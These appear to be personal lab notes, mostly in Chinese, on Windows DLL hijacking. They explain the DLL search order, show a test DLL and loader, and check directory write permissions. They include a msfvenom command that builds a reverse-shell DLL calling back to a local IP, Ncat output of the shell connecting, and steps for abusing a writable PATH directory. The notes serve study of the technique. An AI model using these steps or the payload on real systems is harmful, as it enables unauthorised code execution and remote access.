DLL Hijacking Notes
DLL 搜索路径:
预定义搜索 (安全的)
标准搜索顺序
包含可执行文件的目录
Windows系统目录,该目录可以通过 GetSystemDirectory
得到 (C:\Windows\System32
)
16 位的系统目录(C:\Windows\System
)
Windows 目录,可以通过 GetWindowsDirectory
得到 (C:\Windows
)
进程的当前目录
PATH 环境变量所列出的目录
DLL Sideloading empty_dll.dll
#include <Windows.h> BOOL WINAPI DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break ; } return TRUE; }
Invoke-Dll.exe
#include <Windows.h> #include <tchar.h> int _tmain(int argc, TCHAR* argv[], TCHAR* envp[]) { HMODULE hModule = LoadLibrary(argv[1 ]); if (hModule) { wprintf(L"LoadLibrary() OK\n" ); FreeLibrary(hModule); } else { wprintf(L"LoadLibrary() KO - Error: %d\n" , GetLastError()); } }
Process Monitor Filter:
Process Name is Invoke-Dll.exe
Path contains empty_dll
将 empty_dll.dll
移到标准搜索路径外,可以看到 DLL 的搜索顺序
将 empty_dll.dll
放入 C:\Windows\
检查程序目录是否有写入权:
C:\Users\0 x20C>icacls "C:\Users\0x20C\Desktop\dll hijacking" C:\Users\0 x20C\Desktop\dll hijacking NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F) BUILTIN\Administrators:(I)(OI)(CI)(F) DESKTOP-ME4U4MD \0 x20C:(I)(OI)(CI)(F)
生成恶意 DLL 替换原 DLL
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.100 LPORT=4444 -f dll -o empty_dll.dll
执行应用程序
Invoke-Dll .exe empty_dll.dll
得到 Reverse Shell
Ncat: Version 7.91 ( https: Ncat: Listening on : ::4444 Ncat: Listening on 0.0 .0 .0 :4444 Ncat: Connection from 192.168 .0 .106 .Ncat: Connection from 192.168 .0 .106 :50406. Microsoft Windows [Version 10.0 .19041 .572 ] (c) 2020 Microsoft Corporation. All rights reserved.C: \Users\0x20C \Desktop\dll hijacking>whoami whoami desktop-me4u4md\0x20c
Ghost DLL injection 从 %PATH%
进行 DLL Injection 的一种技术
PATH
C:\P rogram Files (x86)\P ython38-32\S cripts\ C:\P rogram Files (x86)\P ython38-32\ C:\W indows\s ystem32 C:\W indows C:\W indows\S ystem32\W bem C:\W indows\S ystem32\W indowsPowerShell\v 1.0\ C:\W indows\S ystem32\O penSSH\ C:\P rogram Files (x86)\I ncrediBuild C:\U sers\0 x20C\A ppData\L ocal\M icrosoft\W indowsApps C:\P rogram Files (x86)\V im\v im82 C:\M inGW\b in C:\U sers\0 x20C\A ppData\R oaming\P ython\P ython38\S cripts
挑选一个可写的目录
C:\U sers\0 x20C\A ppData\L ocal\M icrosoft\W indowsApps
Links & Resources